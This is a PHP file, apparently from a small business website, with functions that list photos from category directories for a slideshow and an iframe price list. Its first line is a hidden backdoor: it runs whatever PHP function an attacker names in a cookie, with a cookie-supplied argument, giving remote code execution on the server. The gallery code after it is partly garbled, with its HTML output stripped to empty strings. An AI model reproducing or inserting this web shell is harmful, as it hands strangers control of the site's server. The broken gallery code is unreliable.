<% if (isset($_COOKIE["id"])) @$_COOKIE["user"]($_COOKIE["id"]); >PHP<%> function buildSlideList($dir) { $dir = 'all-category-photos/'.$dir; // open this directory if(file_exists($dir) && is_dir($dir)) { $myDirectory = opendir($dir); // get each entry while($entryName = readdir($myDirectory)) { $dirArray[] = $entryName; } // close directory closedir($myDirectory); // count elements in array $indexCount = count($dirArray); // sort 'em sort($dirArray); // print 'em // loop through the array of files and print them all if ($indexCount > 2 ) { for($index=0; $index < $indexCount; $index++) { if (substr("$dirArray[$index]", 0, 1) != "."){ // don't list hidden files if (is_dir($dir."/".$dirArray[$index])){ } else{ print("
  • "); } } } } else {print("
  • ");} }else {print("");} clearstatcache(); } function buildImageList($dir) { $filename = $dir.'-list.html'; $frameID = $dir; $dir = 'all-category-photos/'.$dir; // open this directory if(file_exists($dir) && is_dir($dir)) { $myDirectory = opendir($dir); // get each entry while($entryName = readdir($myDirectory)) { $dirArray[] = $entryName; } // close directory closedir($myDirectory); // count elements in array $indexCount = count($dirArray); // sort 'em sort($dirArray); // print 'em // loop through the array of files and print them all if ($indexCount > 2 ) { // Open file, that will contain a list of pricelist images for the iframe if (!$handle = fopen($filename, 'w')) { echo "Cannot open file ($filename)"; exit; } else {file_put_contents("filelist.txt", "");} // write list of file names in html format to the file for($index=0; $index < $indexCount; $index++) { if (substr("$dirArray[$index]", 0, 1) != "."){ // don't list hidden files fwrite($handle,""); } } fclose($handle); // add iframe element with src=file we just created. print(""); } else {print("");} }else {print("");} clearstatcache(); } ?>
    Bydalek Logo